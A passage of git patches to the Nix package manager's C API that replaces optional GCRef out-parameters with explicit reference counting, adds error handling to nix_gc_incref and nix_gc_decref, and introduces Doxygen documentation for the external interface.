-169,8 +169,7 @@ public: }; ExternalValue *nix_create_external_value(nix_c_context *context, - NixCExternalValueDesc *desc, void *v, - GCRef *gc) { + NixCExternalValueDesc *desc, void *v) { if (context) context->last_err_code = NIX_OK; try { @@ -179,8 +178,7 @@ ExternalValue *nix_create_external_value(nix_c_context *context, (GC) #endif NixCExternalValue(*desc, v); - if (gc) - gc->ptr = ret; + nix_gc_incref(ret); return (ExternalValue *)ret; } NIXC_CATCH_ERRS_NULL diff --git a/src/libexpr/nix_api_external.h b/src/libexpr/nix_api_external.h index 4521f4736..45e95346b 100644 --- a/src/libexpr/nix_api_external.h +++ b/src/libexpr/nix_api_external.h @@ -159,18 +159,17 @@ typedef struct NixCExternalValueDesc { /** * @brief Create an external value, that can be given to nix_set_external * - * Pass a gcref to keep a reference. + * Owned by the GC. Use nix_gc_decref when you're done with the pointer. + * * @param[out] context Optional, stores error information * @param[in] desc a NixCExternalValueDesc, you should keep this alive as long * as the ExternalValue lives * @param[in] v the value to store - * @param[out] ref Optional, will store a reference to the returned value. * @returns external value, owned by the garbage collector * @see nix_set_external */ ExternalValue *nix_create_external_value(nix_c_context *context, - NixCExternalValueDesc *desc, void *v, - GCRef *ref); + NixCExternalValueDesc *desc, void *v); /** * @brief Extract the pointer from a nix c external value. diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index 74e8395fc..f34907ef1 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -32,8 +32,7 @@ static nix::Value &check_value_not_null(Value *value) { } PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, - const char *name, const char **args, const char *doc, - GCRef *ref) { + const char *name, const char **args, const char *doc) { if (context) context->last_err_code = NIX_OK; try { @@ -50,20 +49,18 @@ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, if (args) for (size_t i = 0; args[i]; i++) p->args.emplace_back(*args); - if (ref) - ref->ptr = p; + nix_gc_incref(p); return (PrimOp *)p; } NIXC_CATCH_ERRS_NULL } -Value *nix_alloc_value(nix_c_context *context, State *state, GCRef *ref) { +Value *nix_alloc_value(nix_c_context *context, State *state) { if (context) context->last_err_code = NIX_OK; try { Value *res = state->state.allocValue(); - if (ref) - ref->ptr = res; + nix_gc_incref(res); return res; } NIXC_CATCH_ERRS_NULL @@ -204,19 +201,21 @@ ExternalValue *nix_get_external(nix_c_context *context, Value *value) { } Value *nix_get_list_byidx(nix_c_context *context, const Value *value, - unsigned int ix, GCRef *ref) { + unsigned int ix) { if (context) context->last_err_code = NIX_OK; try { auto &v = check_value_not_null(value); assert(v.type() == nix::nList); - return (Value *)v.listElems()[ix]; + auto *p = v.listElems()[ix]; + nix_gc_incref(p); + return (Value *)p; } NIXC_CATCH_ERRS_NULL } Value *nix_get_attr_byname(nix_c_context *context, const Value *value, - State *state, const char *name, GCRef *ref) { + State *state, const char *name) { if (context) context->last_err_code = NIX_OK; try { @@ -225,8 +224,7 @@ Value *nix_get_attr_byname(nix_c_context *context, const Value *value, nix::Symbol s = state->state.symbols.create(name); auto attr = v.attrs->get(s); if (attr) { - if (ref) - ref->ptr = attr->value; + nix_gc_incref(attr->value); return attr->value; } nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute"); @@ -252,16 +250,14 @@ bool nix_has_attr_byname(nix_c_context *context, const Value *value, } Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, - State *state, unsigned int i, const char **name, - GCRef *ref) { + State *state, unsigned int i, const char **name) { if (context) context->last_err_code = NIX_OK; try { auto &v = check_value_not_null(value); const nix::Attr &a = (*v.attrs)[i]; *name = ((const std::string &)(state->state.symbols[a.name])).c_str(); - if (ref) - ref->ptr = a.value; + nix_gc_incref(a.value); return a.value; } NIXC_CATCH_ERRS_NULL diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index 6aae5cf3c..8fa85b25d 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -33,7 +33,6 @@ typedef enum { // forward declarations typedef void Value; typedef struct State State; -typedef struct GCRef GCRef; // type defs /** @brief Stores an under-construction set of bindings * @@ -67,8 +66,7 @@ typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); /** @brief Allocate a primop * - * Owned by the GC - * Pass a gcref to keep a reference. + * Owned by the GC. Use nix_gc_decref when you're done with the pointer * * @param[out] context Optional, stores error information * @param[in] fun callback @@ -76,27 +74,23 @@ typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); * @param[in] name function name * @param[in] args array of argument names * @param[in] doc optional, documentation for this primop - * @param[out] ref Optional, will store a reference to the returned value. * @return primop, or null in case of errors * @see nix_set_primop */ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, - const char *name, const char **args, const char *doc, - GCRef *ref); + const char *name, const char **args, const char *doc); // Function prototypes /** @brief Allocate a Nix value * - * Owned by the GC - * Pass a gcref to keep a reference. + * Owned by the GC. Use nix_gc_decref when you're done with the pointer * @param[out] context Optional, stores error information * @param[in] state nix evaluator state - * @param[out] ref Optional, will store a reference to the returned value. * @return value, or null in case of errors * */ -Value *nix_alloc_value(nix_c_context *context, State *state, GCRef *ref); +Value *nix_alloc_value(nix_c_context *context, State *state); /** @name Getters */ /**@{*/ @@ -167,27 +161,25 @@ ExternalValue *nix_get_external(nix_c_context *context, Value *); /** @brief Get the ix'th element of a list * - * Pass a gcref to keep a reference. + * Owned by the GC. Use nix_gc_decref when you're done with the pointer * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @param[in] ix list element to get - * @param[out] ref Optional, will store a reference to the returned value. * @return value, NULL in case of errors */ Value *nix_get_list_byidx(nix_c_context *context, const Value *value, - unsigned int ix, GCRef *ref); + unsigned int ix); /** @brief Get an attr by name * - * Pass a gcref to keep a reference. + * Owned by the GC. Use nix_gc_decref when you're done with the pointer * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @param[in] state nix evaluator state * @param[in] name attribute name - * @param[out] ref Optional, will store a reference to the returned value. * @return value, NULL in case of errors */ Value *nix_get_attr_byname(nix_c_context *context, const Value *value, - State *state, const char *name, GCRef *ref); + State *state, const char *name); /** @brief Check if an attribute name exists on a value * @param[out] context Optional, stores error information @@ -200,6 +192,8 @@ bool nix_has_attr_byname(nix_c_context *context, const Value *value, State *state, const char *name); /** @brief Get an attribute by index in the sorted bindings + * + * Owned by the GC. Use nix_gc_decref when you're done with the pointer * @param[out] context Optional, stores error information * @param[in] value Nix value to inspect * @param[in] state nix evaluator state @@ -208,8 +202,7 @@ bool nix_has_attr_byname(nix_c_context *context, const Value *value, * @return value, NULL in case of errors */ Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, - State *state, unsigned int i, const char **name, - GCRef *ref); + State *state, unsigned int i, const char **name); /**@}*/ /** @name Setters */ From ada2af4f885e74876df46e52ef8f2d73a3be90b9 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 28 Jul 2023 13:47:54 +0200 Subject: [PATCH 0319/1251] nix_api_expr: add nix_gc_now() --- src/libexpr/nix_api_expr.cc | 7 +++++-- src/libexpr/nix_api_expr.h | 7 +++++++ 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/src/libexpr/nix_api_expr.cc b/src/libexpr/nix_api_expr.cc index 1eb3693a2..84d55ec13 100644 --- a/src/libexpr/nix_api_expr.cc +++ b/src/libexpr/nix_api_expr.cc @@ -132,9 +132,12 @@ void nix_gc_decref(const void *p) { // todo: else { throw? } } +void nix_gc_now() { GC_gcollect(); } + #else -void nix_gc_incref(const void *){}; -void nix_gc_decref(const void *){}; +void nix_gc_incref(const void *) {} +void nix_gc_decref(const void *) {} +void nix_gc_now() {} #endif void nix_gc_register_finalizer(void *obj, void *cd, diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index ae2806343..9efb3dde1 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -128,6 +128,13 @@ void nix_gc_incref(const void *); */ void nix_gc_decref(const void *); +/** + * @brief Trigger the garbage collector manually + * + * You should not need to do this, but it can be useful for debugging. + */ +void nix_gc_now(); + /** * @brief Register a callback that gets called when the object is garbage * collected. From 866558af34a000bab8eff843ef67a98b9702b08b Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Fri, 28 Jul 2023 16:21:29 +0200 Subject: [PATCH 0320/1251] nix_api_expr: add error handling to incref, decref --- src/libexpr/nix_api_expr.cc | 53 ++++++++++++++++++++++----------- src/libexpr/nix_api_expr.h | 4 +-- src/libexpr/nix_api_external.cc | 2 +- src/libexpr/nix_api_value.cc | 10 +++---- 4 files changed, 43 insertions(+), 26 deletions(-) diff --git a/src/libexpr/nix_api_expr.cc b/src/libexpr/nix_api_expr.cc index 84d55ec13..880030380 100644 --- a/src/libexpr/nix_api_expr.cc +++ b/src/libexpr/nix_api_expr.cc @@ -110,33 +110,50 @@ std::unordered_map< std::mutex nix_refcount_lock; -void nix_gc_incref(const void *p) { - std::scoped_lock lock(nix_refcount_lock); - auto f = nix_refcounts.find(p); - if (f != nix_refcounts.end()) { - f->second++; - } else { - nix_refcounts[p] = 1; +nix_err nix_gc_incref(nix_c_context *context, const void *p) { + if (context) + context->last_err_code = NIX_OK; + try { + std::scoped_lock lock(nix_refcount_lock); + auto f = nix_refcounts.find(p); + if (f != nix_refcounts.end()) { + f->second++; + } else { + nix_refcounts[p] = 1; + } } + NIXC_CATCH_ERRS } -void nix_gc_decref(const void *p) { - std::scoped_lock lock(nix_refcount_lock); - auto f = nix_refcounts.find(p); - if (f != nix_refcounts.end()) { - if (f->second == 1) - nix_refcounts.erase(f); - else - f->second--; +nix_err nix_gc_decref(nix_c_context *context, const void *p) { + + if (context) + context->last_err_code = NIX_OK; + try { + std::scoped_lock lock(nix_refcount_lock); + auto f = nix_refcounts.find(p); + if (f != nix_refcounts.end()) { + if (--f->second == 0) + nix_refcounts.erase(f); + } else + throw std::runtime_error("nix_gc_decref: object was not referenced"); } - // todo: else { throw? } + NIXC_CATCH_ERRS } void nix_gc_now() { GC_gcollect(); } #else -void nix_gc_incref(const void *) {} -void nix_gc_decref(const void *) {} +void nix_gc_incref(nix_c_context *context, const void *) { + if (context) + context->last_err_code = NIX_OK; + return NIX_OK; +} +void nix_gc_decref(nix_c_context *context, const void *) { + if (context) + context->last_err_code = NIX_OK; + return NIX_OK; +} void nix_gc_now() {} #endif diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index 9efb3dde1..c56ef89bb 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -120,13 +120,13 @@ void nix_state_free(State *state); * * @param[in] object The object to keep alive */ -void nix_gc_incref(const void *); +nix_err nix_gc_incref(nix_c_context *, const void *); /** * @brief Decrease the GC refcount * * @param[in] object The object to stop referencing */ -void nix_gc_decref(const void *); +nix_err nix_gc_decref(nix_c_context *, const void *); /** * @brief Trigger the garbage collector manually diff --git a/src/libexpr/nix_api_external.cc b/src/libexpr/nix_api_external.cc index d72adee80..a927a4037 100644 --- a/src/libexpr/nix_api_external.cc +++ b/src/libexpr/nix_api_external.cc @@ -178,7 +178,7 @@ ExternalValue *nix_create_external_value(nix_c_context *context, (GC) #endif NixCExternalValue(*desc, v); - nix_gc_incref(ret); + nix_gc_incref(nullptr, ret); return (ExternalValue *)ret; } NIXC_CATCH_ERRS_NULL diff --git a/src/libexpr/nix_api_value.cc b/src/libexpr/nix_api_value.cc index f34907ef1..6e02b3310 100644 --- a/src/libexpr/nix_api_value.cc +++ b/src/libexpr/nix_api_value.cc @@ -49,7 +49,7 @@ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, if (args) for (size_t i = 0; args[i]; i++) p->args.emplace_back(*args); - nix_gc_incref(p); + nix_gc_incref(nullptr, p); return (PrimOp *)p; } NIXC_CATCH_ERRS_NULL @@ -60,7 +60,7 @@ Value *nix_alloc_value(nix_c_context *context, State *state) { context->last_err_code = NIX_OK; try { Value *res = state->state.allocValue(); - nix_gc_incref(res); + nix_gc_incref(nullptr, res); return res; } NIXC_CATCH_ERRS_NULL @@ -208,7 +208,7 @@ Value *nix_get_list_byidx(nix_c_context *context, const Value *value, auto &v = check_value_not_null(value); assert(v.type() == nix::nList); auto *p = v.listElems()[ix]; - nix_gc_incref(p); + nix_gc_incref(nullptr, p); return (Value *)p; } NIXC_CATCH_ERRS_NULL @@ -224,7 +224,7 @@ Value *nix_get_attr_byname(nix_c_context *context, const Value *value, nix::Symbol s = state->state.symbols.create(name); auto attr = v.attrs->get(s); if (attr) { - nix_gc_incref(attr->value); + nix_gc_incref(nullptr, attr->value); return attr->value; } nix_set_err_msg(context, NIX_ERR_KEY, "missing attribute"); @@ -257,7 +257,7 @@ Value *nix_get_attr_byidx(nix_c_context *context, const Value *value, auto &v = check_value_not_null(value); const nix::Attr &a = (*v.attrs)[i]; *name = ((const std::string &)(state->state.symbols[a.name])).c_str(); - nix_gc_incref(a.value); + nix_gc_incref(nullptr, a.value); return a.value; } NIXC_CATCH_ERRS_NULL From b0741f712871ba4ab54e50e82b763b2e043c4f88 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Sun, 30 Jul 2023 16:36:51 +0200 Subject: [PATCH 0321/1251] external-api-doc: introduce and improve documentation --- Makefile | 5 ++- configure.ac | 5 +++ doc/external-api/.gitignore | 3 ++ doc/external-api/doxygen.cfg.in | 54 ++++++++++++++++++++++++++ doc/external-api/local.mk | 19 +++++++++ src/libexpr/nix_api_expr.h | 68 ++++++++++++++++++++++++++------- src/libexpr/nix_api_external.h | 6 +++ src/libexpr/nix_api_value.h | 18 ++++++++- src/libstore/nix_api_store.h | 11 +++++- src/libutil/nix_api_util.h | 56 +++++++++++++++++++++++++-- 10 files changed, 225 insertions(+), 20 deletions(-) create mode 100644 doc/external-api/.gitignore create mode 100644 doc/external-api/doxygen.cfg.in create mode 100644 doc/external-api/local.mk diff --git a/Makefile b/Makefile index c3dc83c77..4f60d0d8b 100644 --- a/Makefile +++ b/Makefile @@ -25,7 +25,10 @@ makefiles = \ misc/zsh/local.mk \ misc/systemd/local.mk \ misc/launchd/local.mk \ - misc/upstart/local.mk + misc/upstart/local.mk \ + doc/manual/local.mk \ + doc/internal-api/local.mk \ + doc/external-api/local.mk endif ifeq ($(ENABLE_UNIT_TESTS), yes) diff --git a/configure.ac b/configure.ac index 676b145a5..c3823c01c 100644 --- a/configure.ac +++ b/configure.ac @@ -150,6 +150,11 @@ AC_ARG_ENABLE(unit-tests, AS_HELP_STRING([--disable-unit-tests],[Do not build th ENABLE_UNIT_TESTS=$enableval, ENABLE_UNIT_TESTS=$ENABLE_BUILD) AC_SUBST(ENABLE_UNIT_TESTS) +# Build external API docs by default +AC_ARG_ENABLE(external_api_docs, AS_HELP_STRING([--enable-external-api-docs],[Build API docs for Nix's C interface]), + external_api_docs=$enableval, external_api_docs=yes) +AC_SUBST(external_api_docs) + AS_IF( [test "$ENABLE_BUILD" == "no" && test "$ENABLE_UNIT_TESTS" == "yes"], [AC_MSG_ERROR([Cannot enable unit tests when building overall is disabled. Please do not pass '--enable-unit-tests' or do not pass '--disable-build'.])]) diff --git a/doc/external-api/.gitignore b/doc/external-api/.gitignore new file mode 100644 index 000000000..dab28b6b0 --- /dev/null +++ b/doc/external-api/.gitignore @@ -0,0 +1,3 @@ +/doxygen.cfg +/html +/latex diff --git a/doc/external-api/doxygen.cfg.in b/doc/external-api/doxygen.cfg.in new file mode 100644 index 000000000..19350b2c6 --- /dev/null +++ b/doc/external-api/doxygen.cfg.in @@ -0,0 +1,54 @@ +# Doxyfile 1.9.5 + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded by +# double-quotes, unless you are using Doxywizard) that should identify the +# project for which the documentation is generated. This name is used in the +# title of most generated pages and in a few other places. +# The default value is: My Project. + +PROJECT_NAME = "Nix" + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. This +# could be handy for archiving the generated documentation or if some version +# control system is used. + +PROJECT_NUMBER = @PACKAGE_VERSION@ + +# Using the PROJECT_BRIEF tag one can provide an optional one line description +# for a project that appears at the top of each page and should give viewer a +# quick idea about the purpose of the project. Keep the description short. + +PROJECT_BRIEF = "Nix, the purely functional package manager; stable external interfaces" + +# If the GENERATE_LATEX tag is set to YES, doxygen will generate LaTeX output. +# The default value is: YES. + +GENERATE_LATEX = NO + +# The INPUT tag is used to specify the files and/or directories that contain +# documented source files. You may enter file names like myfile.cpp or +# directories like /usr/src/myproject. Separate the files or directories with +# spaces. See also FILE_PATTERNS and EXTENSION_MAPPING +# Note: If this tag is empty the current directory is searched. + +# FIXME Make this list more maintainable somehow. We could maybe generate this +# in the Makefile, but we would need to change how `.in` files are preprocessed +# so they can expand variables despite configure variables. + +INPUT = \ + src/libutil \ + src/libexpr \ + src/libstore + +FILE_PATTERNS = nix_api_*.h + +# The INCLUDE_PATH tag can be used to specify one or more directories that +# contain include files that are not input files but should be processed by the +# preprocessor. Note that the INCLUDE_PATH is not recursive, so the setting of +# RECURSIVE has no effect here. +# This tag requires that the tag SEARCH_INCLUDES is set to YES. + +INCLUDE_PATH = @RAPIDCHECK_HEADERS@ +EXCLUDE_PATTERNS = *_internal.h +GENERATE_TREEVIEW = YES +OPTIMIZE_OUTPUT_FOR_C = YES diff --git a/doc/external-api/local.mk b/doc/external-api/local.mk new file mode 100644 index 000000000..a0f6e26fc --- /dev/null +++ b/doc/external-api/local.mk @@ -0,0 +1,19 @@ +.PHONY: external-api-html + +ifeq ($(internal_api_docs), yes) + +$(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg + mkdir -p $(docdir)/external-api + { cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/external-api" ; } | doxygen - + +# Generate the HTML API docs for Nix's unstable internal interfaces. +external-api-html: $(docdir)/external-api/html/index.html + +else + +# Make a nicer error message +external-api-html: + @echo "Internal API docs are disabled. Configure with '--enable-external-api-docs', or avoid calling 'make external-api-html'." + @exit 1 + +endif diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index c56ef89bb..f67a3d13f 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -1,5 +1,26 @@ #ifndef NIX_API_EXPR_H #define NIX_API_EXPR_H +/** @defgroup libexpr libexpr + * @brief Bindings to the Nix evaluator + * + * Example (without error handling): + * @code{.c} + * int main() { + * nix_libexpr_init(NULL); + * + * Store* store = nix_store_open(NULL, "dummy", NULL); + * State* state = nix_state_create(NULL, NULL /* empty NIX_PATH */, store); +*Value *value = nix_alloc_value(NULL, state); +**nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); +*nix_value_force(NULL, state, value); +*printf("nix version: %s\n", nix_get_string(NULL, value)); +**nix_gc_decref(NULL, value); +*nix_state_free(state); +*nix_store_unref(store); +*return 0; +* +} +*@endcode *@{* / /** @file * @brief Main entry for the libexpr C bindings */ @@ -8,22 +29,25 @@ #include "nix_api_util.h" #ifdef __cplusplus -extern "C" { + extern "C" { #endif -// cffi start + // cffi start -// Type definitions -/** - * @brief Represents a nix evaluator state. - * - * Multiple can be created for multi-threaded - * operation. - */ -typedef struct State State; // nix::EvalState + // Type definitions + /** + * @brief Represents a nix evaluator state. + * + * Multiple can be created for multi-threaded + * operation. + * @struct State + */ + typedef struct State State; // nix::EvalState /** * @brief Represents a nix value. * * Owned by the GC. + * @struct Value + * @see value_manip */ typedef void Value; // nix::Value @@ -110,23 +134,36 @@ State *nix_state_create(nix_c_context *context, const char **searchPath, */ void nix_state_free(State *state); +/** @addtogroup GC + * @brief Reference counting and garbage collector operations + * + * Nix's evaluator uses a garbage collector. To ease C interop, we implement + * a reference counting scheme, where objects will be deallocated + * when there are no references from the Nix side, and the reference count kept + * by the C API reaches `0`. + * + * Functions returning a garbage-collected object will automatically increase + * the refcount for you. You should make sure to call `nix_gc_decref` when + * you're done. + * @{ + */ /** * @brief Increase the GC refcount. * * The nix C api keeps alive objects by refcounting. * When you're done with a refcounted pointer, call nix_gc_decref. * - * Does not fail - * + * @param[out] context Optional, stores error information * @param[in] object The object to keep alive */ -nix_err nix_gc_incref(nix_c_context *, const void *); +nix_err nix_gc_incref(nix_c_context *context, const void *object); /** * @brief Decrease the GC refcount * + * @param[out] context Optional, stores error information * @param[in] object The object to stop referencing */ -nix_err nix_gc_decref(nix_c_context *, const void *); +nix_err nix_gc_decref(nix_c_context *context, const void *object); /** * @brief Trigger the garbage collector manually @@ -147,9 +184,12 @@ void nix_gc_now(); void nix_gc_register_finalizer(void *obj, void *cd, void (*finalizer)(void *obj, void *cd)); +/** @} */ // cffi end #ifdef __cplusplus } #endif +/** @} */ + #endif // NIX_API_EXPR_H diff --git a/src/libexpr/nix_api_external.h b/src/libexpr/nix_api_external.h index 45e95346b..692f8000c 100644 --- a/src/libexpr/nix_api_external.h +++ b/src/libexpr/nix_api_external.h @@ -1,5 +1,10 @@ #ifndef NIX_API_EXTERNAL_H #define NIX_API_EXTERNAL_H +/** @ingroup libexpr + * @addtogroup Externals + * @brief Deal with external values + * @{ + */ /** @file * @brief libexpr C bindings dealing with external values */ @@ -184,5 +189,6 @@ void *nix_get_external_value_content(nix_c_context *context, ExternalValue *b); #ifdef __cplusplus } #endif +/** @} */ #endif // NIX_API_EXTERNAL_H diff --git a/src/libexpr/nix_api_value.h b/src/libexpr/nix_api_value.h index 8fa85b25d..110dd086f 100644 --- a/src/libexpr/nix_api_value.h +++ b/src/libexpr/nix_api_value.h @@ -1,6 +1,9 @@ #ifndef NIX_API_VALUE_H #define NIX_API_VALUE_H +/** @addtogroup libexpr + * @{ + */ /** @file * @brief libexpr C bindings dealing with values */ @@ -35,6 +38,7 @@ typedef void Value; typedef struct State State; // type defs /** @brief Stores an under-construction set of bindings + * @ingroup value_manip * * Do not reuse. * @see nix_make_bindings_builder, nix_bindings_builder_free, nix_make_attrs @@ -43,18 +47,23 @@ typedef struct State State; typedef struct BindingsBuilder BindingsBuilder; /** @brief PrimOp function + * @ingroup primops * * Owned by the GC * @see nix_alloc_primop, nix_set_primop */ typedef struct PrimOp PrimOp; /** @brief External Value + * @ingroup Externals * * Owned by the GC - * @see nix_api_external.h */ typedef struct ExternalValue ExternalValue; +/** @defgroup primops + * @brief Create your own primops + * @{ + */ /** @brief Function pointer for primops * @param[in] state Evaluator state * @param[in] pos position of function call @@ -79,6 +88,7 @@ typedef void (*PrimOpFun)(State *state, int pos, Value **args, Value *v); */ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, const char *name, const char **args, const char *doc); +/** @} */ // Function prototypes @@ -91,6 +101,10 @@ PrimOp *nix_alloc_primop(nix_c_context *context, PrimOpFun fun, int arity, * */ Value *nix_alloc_value(nix_c_context *context, State *state); +/** @addtogroup value_manip Manipulating values + * @brief Functions to inspect and change nix Value's + * @{ + */ /** @name Getters */ /**@{*/ @@ -328,10 +342,12 @@ nix_err nix_bindings_builder_insert(nix_c_context *context, * @param[in] builder the builder to free */ void nix_bindings_builder_free(BindingsBuilder *builder); +/**@}*/ // cffi end #ifdef __cplusplus } #endif +/** @} */ #endif // NIX_API_VALUE_H diff --git a/src/libstore/nix_api_store.h b/src/libstore/nix_api_store.h index 6157faa82..bc01f0ad2 100644 --- a/src/libstore/nix_api_store.h +++ b/src/libstore/nix_api_store.h @@ -1,5 +1,12 @@ #ifndef NIX_API_STORE_H #define NIX_API_STORE_H +/** + * @defgroup libstore libstore + * @brief C bindings for nix libstore + * + * libstore is used for talking to a Nix store + * @{ + */ /** @file * @brief Main entry for the libstore C bindings */ @@ -121,5 +128,7 @@ nix_err nix_store_get_version(nix_c_context *, Store *store, char *dest, #ifdef __cplusplus } #endif - +/** + * @} + */ #endif // NIX_API_STORE_H diff --git a/src/libutil/nix_api_util.h b/src/libutil/nix_api_util.h index 095564296..f626f2ccb 100644 --- a/src/libutil/nix_api_util.h +++ b/src/libutil/nix_api_util.h @@ -1,6 +1,13 @@ #ifndef NIX_API_UTIL_H #define NIX_API_UTIL_H - +/** + * @defgroup libutil libutil + * @brief C bindings for nix libutil + * + * libutil is used for functionality shared between + * different Nix modules. + * @{ + */ /** @file * @brief Main entry for the libutil C bindings * @@ -12,6 +19,31 @@ extern "C" { #endif // cffi start +/** @defgroup errors Handling errors + * @brief Dealing with errors from the Nix side + * + * To handle errors that can be returned from the Nix API + * nix_c_context can be passed any function that potentially returns an error. + * + * Error information will be stored in this context, and can be retrieved + * using nix_err_code, nix_err_msg. + * + * Passing NULL instead will cause the API to throw C++ errors. + * + * Example: + * @code{.c} + * int main() { + * nix_c_context* ctx = nix_c_context_create(); + * nix_libutil_init(ctx); + * if (nix_err_code(ctx) != NIX_OK) { + * printf("error: %s\n", nix_err_msg(NULL, ctx, NULL)); + * return 1; + * } + * return 0; + * } + * @endcode + * @{ + */ // Error codes /** * @brief Type for error codes in the NIX system @@ -67,6 +99,7 @@ typedef int nix_err; /** * @brief This object stores error state. + * @struct nix_c_context * * Passed as a first parameter to C functions that can fail, will store error * information. Optional wherever it is used, passing NULL will throw a C++ @@ -92,6 +125,9 @@ nix_c_context *nix_c_context_create(); * @param[out] context The context to free, mandatory. */ void nix_c_context_free(nix_c_context *context); +/** + * @} + */ /** * @brief Initializes nix_libutil and its dependencies. @@ -105,6 +141,9 @@ void nix_c_context_free(nix_c_context *context); */ nix_err nix_libutil_init(nix_c_context *context); +/** @defgroup settings + * @{ + */ /** * @brief Retrieves a setting from the nix global configuration. * @@ -128,8 +167,8 @@ nix_err nix_setting_get(nix_c_context *context, const char *key, char *value, * * Use "extra-" to append to the setting's value. * - * Settings only apply for new States. Call nix_plugins_init() when you are done - * with the settings to load any plugins. + * Settings only apply for new State%s. Call nix_plugins_init() when you are + * done with the settings to load any plugins. * * @param[out] context optional, Stores error information * @param[in] key The key of the setting to set. @@ -140,6 +179,9 @@ nix_err nix_setting_get(nix_c_context *context, const char *key, char *value, nix_err nix_setting_set(nix_c_context *context, const char *key, const char *value); +/** + * @} + */ // todo: nix_plugins_init() /** @@ -150,6 +192,9 @@ nix_err nix_setting_set(nix_c_context *context, const char *key, */ const char *nix_version_get(); +/** @addtogroup errors + * @{ + */ /** * @brief Retrieves the most recent error message from a context. * @@ -215,9 +260,14 @@ nix_err nix_err_name(nix_c_context *context, const nix_c_context *read_context, */ nix_err nix_err_code(nix_c_context *context, const nix_c_context *read_context); +/** + * @} + */ + // cffi end #ifdef __cplusplus } #endif +/** @} */ #endif // NIX_API_UTIL_H From f41a7e326ba917b3394c5368f90bb0cfa21db5c3 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Sun, 30 Jul 2023 16:46:20 +0200 Subject: [PATCH 0322/1251] nix_err_code: do not fail --- src/libutil/nix_api_util.cc | 5 +---- src/libutil/nix_api_util.h | 6 +++--- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/src/libutil/nix_api_util.cc b/src/libutil/nix_api_util.cc index 4f892637c..a5b575a3c 100644 --- a/src/libutil/nix_api_util.cc +++ b/src/libutil/nix_api_util.cc @@ -127,10 +127,7 @@ nix_err nix_err_info_msg(nix_c_context *context, n); } -nix_err nix_err_code(nix_c_context *context, - const nix_c_context *read_context) { - if (context) - context->last_err_code = NIX_OK; +nix_err nix_err_code(const nix_c_context *read_context) { return read_context->last_err_code; } diff --git a/src/libutil/nix_api_util.h b/src/libutil/nix_api_util.h index f626f2ccb..63854e4d8 100644 --- a/src/libutil/nix_api_util.h +++ b/src/libutil/nix_api_util.h @@ -253,12 +253,12 @@ nix_err nix_err_name(nix_c_context *context, const nix_c_context *read_context, * * Equivalent to reading the first field of the context. * - * @param[out] context optional, the context to store errors in if this function - * fails + * Does not fail + * * @param[in] read_context the context to retrieve the error message from * @return most recent error code stored in the context. */ -nix_err nix_err_code(nix_c_context *context, const nix_c_context *read_context); +nix_err nix_err_code(const nix_c_context *read_context); /** * @} From e58a9384c67eb8b229c309b86580a3f778535ce0 Mon Sep 17 00:00:00 2001 From: Yorick van Pelt Date: Mon, 31 Jul 2023 09:02:28 +0200 Subject: [PATCH 0323/1251] nix_api_expr, nix_api_util: slightly improve documentation --- src/libexpr/nix_api_expr.h | 49 ++++++++++++++++++++------------------ src/libutil/nix_api_util.h | 21 ++++++++++------ 2 files changed, 40 insertions(+), 30 deletions(-) diff --git a/src/libexpr/nix_api_expr.h b/src/libexpr/nix_api_expr.h index f67a3d13f..1211c587f 100644 --- a/src/libexpr/nix_api_expr.h +++ b/src/libexpr/nix_api_expr.h @@ -9,18 +9,21 @@ * nix_libexpr_init(NULL); * * Store* store = nix_store_open(NULL, "dummy", NULL); - * State* state = nix_state_create(NULL, NULL /* empty NIX_PATH */, store); -*Value *value = nix_alloc_value(NULL, state); -**nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); -*nix_value_force(NULL, state, value); -*printf("nix version: %s\n", nix_get_string(NULL, value)); -**nix_gc_decref(NULL, value); -*nix_state_free(state); -*nix_store_unref(store); -*return 0; -* -} -*@endcode *@{* / + * State* state = nix_state_create(NULL, NULL, store); // empty nix path + * Value *value = nix_alloc_value(NULL, state); + * + * nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); + * nix_value_force(NULL, state, value); + * printf("nix version: %s\n", nix_get_string(NULL, value)); + * + * nix_gc_decref(NULL, value); + * nix_state_free(state); + * nix_store_unref(store); + * return 0; + * } + * @endcode + * @{ + */ /** @file * @brief Main entry for the libexpr C bindings */ @@ -29,19 +32,19 @@ #include "nix_api_util.h" #ifdef __cplusplus - extern "C" { +extern "C" { #endif - 